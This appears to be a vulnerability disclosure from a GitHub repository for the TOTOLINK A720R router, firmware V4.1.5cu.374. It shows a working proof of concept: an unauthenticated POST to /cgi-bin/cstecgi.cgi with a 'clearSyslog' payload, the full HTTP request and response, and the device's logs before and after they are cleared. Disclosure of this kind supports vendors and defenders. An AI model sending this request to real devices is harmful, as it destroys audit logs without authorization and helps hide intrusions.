

[my_vulns](#) / [TOTOLINK](#) / [A720R](#) / **clearSyslog.md** 

at0de first commit

f932a4b · 2 weeks ago



44 lines (29 loc) · 1.51 KB

Preview

Code

Blame

Raw



Overview

- Manufacturer's website information : <https://www.totolink.net/>
- Firmware download address :
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/203/ids/36.html

Affected version

V4.1.5cu.374

Vulnerability details

The TOTOLINK A720R V4.1.5cu.374 firmware contains an unauthorized system log deletion vulnerability. This vulnerability occurs when a POST request is sent to the `/cgi-bin/cstecgi.cgi` with the parameter `{"topicurl":"clearSyslog"}`, allowing an attacker to delete system logs without authentication.

Poc

System logs are normally recorded.

系统日志开/关



```
/bin/cs_repair.sh
Jun 12 16:35:16 TOTOLINK daemon.info watchdog[1441]: error retry time-out = 10 seconds
Jun 12 16:35:16 TOTOLINK daemon.info watchdog[1441]: repair attempts = 1
Jun 12 16:35:16 TOTOLINK daemon.info watchdog[1441]: alive=[none] heartbeat=[none]
to=root no_act=no force=no
Jun 12 16:35:16 TOTOLINK daemon.err watchdog[1441]: cannot open /var/run/crpc.pid
(errno = 2 = 'No such file or directory')
Jun 12 16:35:26 TOTOLINK daemon.err watchdog[1441]: cannot open /var/run/crpc.pid
(errno = 2 = 'No such file or directory')
Jun 12 16:35:36 TOTOLINK daemon.err watchdog[1441]: cannot open /var/run/crpc.pid
(errno = 2 = 'No such file or directory')
Jun 12 16:35:36 TOTOLINK daemon.warn watchdog[1441]: Retry timed-out at 20 seconds
for /var/run/crpc.pid
Jun 12 16:35:36 TOTOLINK daemon.warn dnsmasq[1350]: failed to access /etc/resolv.conf:
No such file or directory
```

清除

刷新

Send a request to clear the log.

POST /cgi-bin/cstecgi.cgi HTTP/1.1

Host: 192.168.140.79

Content-Length: 27

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.140.79

Referer: http://192.168.140.79/basic/index.html?time=1745238634622

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Connection: keep-alive

{"topicurl":"clearSyslog"}



```
1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 192.168.140.79
3 Content-Length: 26
4 Cache-Control: max-age=0
5 Origin: http://192.168.140.79
6 Content-Type: application/x-www-form-urlencoded
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
9 Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
10 Accept:
11 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
12 ;q=0.8,application/signed-exchange;v=b3;q=0.7
13 Referer: http://192.168.140.79/login.html
14 Accept-Encoding: gzip, deflate, br
15 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
16 Connection: keep-alive
17
18 {
19   "topicurl": "clearSyslog"
20 }
```

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Date: Fri, 12 Jun 2020 08:38:40 GMT
4 Server: lighttpd/1.4.20
5 Content-Length: 101
6
7 {
8   "success":true,
9   "error":null,
10  "lan_ip":"192.168.140.79",
11  "wtime":"0",
12  "reserv":"reserv"
13 }
```

System logs have been cleared.

[修改密码](#)[系统配置](#)[升级](#)[Ping诊断](#)[路由跟踪](#)[系统日志](#)

系统日志开/关

清除

刷新